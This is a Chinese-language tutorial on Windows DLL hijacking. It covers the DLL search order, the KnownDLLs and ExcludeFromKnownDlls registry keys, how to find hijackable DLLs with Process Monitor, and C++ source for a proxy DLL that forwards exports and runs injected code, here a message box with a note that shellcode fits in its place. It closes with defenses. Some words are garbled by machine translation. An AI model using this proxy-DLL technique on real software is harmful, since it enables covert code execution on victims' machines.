0x01 dll简介
在Windows零碎中,为了节俭内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的形式。这就是DLL(Dynamic Link Library),即动态链接库,这种库蕴含了可由多个程序同时应用的代码和数据。
每个DLL都有一个入口函数(DLLMain),零碎在特定环境下会调用DLLMain。在上面的事件产生时就会调用dll的入口函数:
- 1.过程装载DLL。
- 2.过程卸载DLL。
- 3.DLL在被装载之后创立了新线程。
- 4.DLL在被装载之后一个线程被终止了。 另外,每个DLL文件中都蕴含有一个导出函数表也叫输出表(存在于PE的.edata节中)。应用一些PE文件查看工具如LoadPE,就能够查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。
应用程序导入函数与DLL文件中的导出函数进行链接有两种形式:隐式链接(load-time dynamiclinking)也叫动态调用和显式链接(run-time dynamiclinking)也叫动静调用。隐式链接形式个别用于开发和调试,而显式链接形式就是咱们常见的应用LoadLibary或者LoadLibraryEx函数(注:波及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时能够应用DLL的相对路径也能够应用绝对路径,
dll门路搜寻规定
然而很多状况下,开发人员都是应用了相对路径来进行DLL的加载。那么,在这种状况下,Windows零碎会依照特定的程序去搜寻一些目录,来确定DLL的残缺门路。对于动态链接库的搜寻程序的更多详细资料请参阅MSDN。依据MSDN文档的约定,在应用了DLL的相对路径调用LoadLibrary函数时,零碎会顺次从上面几个地位去查找所须要调用的DLL文件。
- 1.程序所在目录。
- 2.加载 DLL 时所在的当前目录。
- 3.系统目录即 SYSTEM32 目录。
- 4.16位系统目录即 SYSTEM 目录。
- 5.Windows目录。
- 6.PATH环境变量中列出的目录微软为了避免DLL劫持破绽的产生,在XP SP2之后,增加了一个SafeDllSearchMode的注册表属性。注册表门路如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
当SafeDllSearchMode的值设置为1,即平安DLL搜寻模式开启时,查找DLL的目录程序如下:
- 1.程序所在目录
- 2.系统目录即 SYSTEM32 目录。
- 3.16位系统目录即 SYSTEM 目录。
- 4.Windows目录。
- 5.加载 DLL 时所在的当前目录。
- 6.PATH环境变量中列出的目录。
在win7以上版本
微软为了更进一步的进攻零碎的DLL被劫持,将一些容易被劫持的零碎DLL写进了一个注册表项中,那么但凡此项下的DLL文件就会被禁止从EXE本身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表门路如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
以前常常应用的一些劫持DLL曾经被退出了KnownDLLs注册表项,这就意味着应用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持曾经生效了。
所以在win7及以上当启用了SafeDllSearchMode搜寻程序如下
- 1.应用程序所在目录。
- 2.系统目录SYSTEM32 目录。
- 3.16位系统目录。没有获取该目录门路的函数,但会对其进行搜寻。
- 4.Windows目录。应用GetWindowsDirectory函数获取此目录的门路。
- 5.当前目录
- 6.环境变量PATH中所有目录。须要留神的是,这里不包含App Paths注册表项指定的应用程序门路。
Windows操作系统通过“DLL门路搜寻目录程序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的门路,之后,应用程序就将DLL载入了本人的内存空间,执行相应的函数性能。
不过,微软又莫名其妙的容许用户在上述注册表门路中增加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制爱护的DLL。也就是说,只有在“ExcludeFromKnownDlls”注册表项中增加你想劫持的DLL名称就能够对该DLL进行劫持,不过批改之后须要重新启动电脑能力失效。
在上述形容加载DLL的整个过程中,DLL劫持破绽就是在零碎进行装置“DLL门路搜寻目录程序”搜寻DLL的时候产生的。
无论平安DLL搜寻模式是否开启,零碎总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就依照下面的程序顺次进行搜寻。那么,利用这个个性,攻击者就能够伪造一个雷同名称的dll,只有这个dll不在KnownDLLs注册表项中,咱们就能够对该dll进行劫持测试。
键值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的如下
0x02 寻找可劫持dll
有很多软件能够查看exe加载的dll
process-explorer
https://docs.microsoft.com/zh...
火绒剑
Process Monitor
https://docs.microsoft.com/zh...
应用的时候能够设置Filter,填入过滤条件,能够帮忙排除很多无用的信息
Include the following filters:Operation is CreateFileOperation is LoadImagePath contains .cplPath contains .dllPath contains .drvPath contains .exePath contains .ocxPath contains .scrPath contains .sysExclude the following filters:Process Name is procmon.exeProcess Name is Procmon64.exeProcess Name is SystemOperation begins with IRP_MJ_Operation begins with FASTIO_Result is SUCCESSPath ends with pagefile.sys
相似下图这种就是该dll在KnownDLLs注册表项里
0x03 劫持测试
这里用D盾进行劫持试验
还是先应用Process Explorer
能够将这些dll文件与KnownDLLs注册表项里的dll进行比拟,找出不在范畴内的dll进行劫持测试
当然这里也有偷懒的办法,批量自动化测试
这里ctrl+s能够间接保留获取的信息文本,而后再通过正则来提取门路信息,再放到批量验证工具里
存在的话就会间接输入后果
不存在就会显示no
下面显示存在两个dll可能能够劫持
这里间接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,胜利弹出。
0x04 进阶测试
然而这种办法只劫持了加载计算机的函数,原来dll还有很多其余的导出函数,这样间接劫持可能会导致程序无奈失常启动。
所以个别会制作一个雷同名称,雷同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者曾经退出了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,免得影响程序的失常执行。
这里咱们制作一个弹窗的dll来进行测试,
1.首先应用VS2019新建一个DLL我的项目
2.在生成的dllmain.cpp下增加
Bash
void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);}
3.而后再在头文件下的framework.h文件内增加上面代码来编译导出dll文件
Bash
#pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少应用的内容// Windows 头文件#include <windows.h>extern "C" __declspec(dllexport) void msg(void);
而后编译生成Dll1.dll
再新建一个C++我的项目,填入如下代码
Go
#include <iostream>#include <Windows.h>using namespace std;int main(){ // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动静加载dll库 HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL if (hinst != NULL) { // 获取函数地位 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名 } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); }}
想理解dll编写细节的能够看这里
再次生成解决方案,而后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
胜利弹窗
这里咱们用之前转发劫持dll的思路,来试验一下
这里我用脚本一键生成用来劫持的dll
这是默认生成的
Bash
# include "pch.h"# define EXTERNC extern "C"# define NAKED __declspec(naked)# define EXPORT EXTERNC __declspec(dllexport)# define ALCPP EXPORT NAKED# define ALSTD EXTERNC EXPORT NAKED void __stdcall# define ALCFAST EXTERNC EXPORT NAKED void __fastcall# define ALCDECL EXTERNC NAKED void __cdeclEXTERNC{ FARPROC Hijack_msg;}namespace DLLHijacker{ HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("Dll1")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; }}using namespace DLLHijacker;VOID Hijack() //default open a calc.//增加本人的代码{ }BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_msg = GetAddress("msg"); Hijack(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
在编译生成新的dll前要留神在代码这一行,将Dll1改为Dll2.dll
Bash
lstrcpy(tzPath, TEXT("Dll2.dll"));
而后在代码这一行增加弹窗或者执行shellcode
Go
VOID Hijack() //default open a calc.{ MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }
而后编译生成
再将咱们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下
运行Meg.exe这时候应该会有两个弹窗
能够看到是先劫持DLL增加的弹窗,再弹出DLL本来的弹窗
0x05 进攻
通用免疫计划:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么但凡此项下的DLL文件就会被禁止从EXE本身目录下调用,而只能从系统目录,也就是system32目录下调用。据此能够写一个简略的DLL劫持免疫器
或者能够在加载dll是检测MD5和大小,来进攻.